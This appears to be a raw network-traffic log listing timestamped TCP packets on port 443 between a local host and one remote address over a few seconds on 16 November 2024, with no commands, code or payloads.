Nov 16, 2024 04:34:18.755237103 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.755271912 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:18.755649090 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:18.755656958 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.038369894 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.038445950 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.038526058 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.038570881 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.038633108 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.038790941 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.038814068 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.038826942 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.038835049 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.042000055 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.042054892 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.042171001 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.042332888 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.042356014 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.043831110 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.043840885 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.044218063 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.044255972 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.044364929 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.044445038 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.044698954 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.044704914 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.044929028 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.044943094 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.170341969 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.171169043 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.171189070 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.171629906 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.171638012 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.171819925 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.172295094 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.172374964 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.172835112 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.172852039 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.174870014 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.174941063 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.174999952 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.175010920 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.175055027 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.175108910 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.175160885 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.175178051 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.175189972 CET	49969	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.175195932 CET	443	49969	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.178194046 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.178288937 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.178483963 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.178616047 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.178638935 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.179080963 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.182706118 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.182777882 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.182832956 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.182832956 CET	49968	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.182868004 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.182890892 CET	443	49968	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.185095072 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.185146093 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.185225010 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.185345888 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.185359955 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.297981024 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.298065901 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.298136950 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.298172951 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.298198938 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.298247099 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.298383951 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.298403978 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.298417091 CET	49971	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.298424959 CET	443	49971	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.301655054 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.301752090 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.301871061 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.302026987 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.302050114 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.302902937 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.303066015 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.303129911 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.303174019 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.303174019 CET	49970	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.303198099 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.303210020 CET	443	49970	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.305419922 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.305505991 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.305588961 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.305706978 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.305738926 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.793854952 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.807931900 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.807951927 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.808583021 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.808594942 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.913944960 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.914613008 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.914676905 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.914983034 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.914998055 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.915781021 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.916930914 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.916954994 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.917634010 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.917645931 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.939073086 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.939151049 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.939218998 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.939454079 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.939474106 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.939491987 CET	49972	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.939501047 CET	443	49972	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.943006039 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.943054914 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:19.943136930 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.943347931 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:19.943357944 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.045160055 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.045330048 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.045388937 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.046005964 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.046031952 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.046049118 CET	49974	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.046056032 CET	443	49974	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.047261000 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.047929049 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.048017979 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.048857927 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.048872948 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.051223993 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.051282883 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.051356077 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.051630974 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.051664114 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.052169085 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.052213907 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.052277088 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.052382946 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.052613020 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.052613020 CET	49973	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.052648067 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.052670956 CET	443	49973	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.052742958 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.053129911 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.053149939 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.053695917 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.053706884 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.055366993 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.055412054 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.055478096 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.055727005 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.055742979 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.178464890 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.178505898 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.178570032 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.178740025 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.178740025 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.178998947 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.178998947 CET	49975	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.179044962 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.179075003 CET	443	49975	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.181834936 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.181876898 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.181969881 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.182116032 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.182126999 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.183243036 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.183341980 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.183397055 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.183449030 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.183473110 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.183487892 CET	49976	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.183496952 CET	443	49976	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.185336113 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.185421944 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.185508013 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.185620070 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.185650110 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.673234940 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.673635960 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.673677921 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.674036980 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.674045086 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.780198097 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.783323050 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.783404112 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.783910990 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.783925056 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.797159910 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.797600031 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.797681093 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.797941923 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.797956944 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.845566034 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.845738888 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.845818043 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.846090078 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.846112013 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.846146107 CET	49977	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.846153021 CET	443	49977	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.849212885 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.849280119 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.849353075 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.849504948 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.849515915 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.905117989 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.905642033 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.905663967 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.906264067 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.906274080 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.908977032 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.909050941 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.909113884 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.909298897 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.909323931 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.909346104 CET	49978	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.909353971 CET	443	49978	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.912363052 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.912431955 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.912529945 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.912703991 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.912723064 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.916996956 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.917501926 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.917536020 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.917932987 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.917943954 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.936827898 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.936862946 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.936917067 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.936933994 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.936971903 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.937114954 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.937140942 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.937166929 CET	49979	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.937177896 CET	443	49979	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.940169096 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.940252066 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:20.940344095 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.940468073 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:20.940496922 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.032726049 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.032821894 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.032885075 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.032989979 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.033009052 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.033021927 CET	49980	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.033030033 CET	443	49980	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.035773039 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.035824060 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.035906076 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.036071062 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.036092043 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.045476913 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.045511007 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.045573950 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.045619011 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.045619011 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.045748949 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.045748949 CET	49981	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.045794010 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.045823097 CET	443	49981	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.048158884 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.048208952 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.048357010 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.048508883 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.048541069 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.593566895 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.594146967 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.594211102 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.594496965 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.594511986 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.643058062 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.643501997 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.643558979 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.644270897 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.644285917 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.660892963 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.661320925 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.661349058 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.661952019 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.661962032 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.729772091 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.729897976 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.730048895 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.730190992 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.730191946 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.730238914 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.730266094 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.732656002 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.732707977 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.733448982 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.733711004 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.733746052 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.765700102 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.768027067 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.768076897 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.768394947 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.768407106 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.770514011 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.772603989 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.772757053 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.772917986 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.772938013 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.772950888 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.773024082 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.773024082 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.773052931 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.773076057 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.773284912 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.773292065 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.775186062 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.775273085 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.775369883 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.775475979 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.775496006 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.788809061 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.788969040 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.789053917 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.789053917 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.789132118 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.789167881 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.791054964 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.791140079 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.791224957 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.791369915 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.791404009 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.892164946 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.892270088 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.892391920 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.898428917 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.898500919 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.898617983 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.898684978 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.900727034 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.900727987 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.900773048 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.900852919 CET	443	49986	13.107.246.45	192.168.2.4
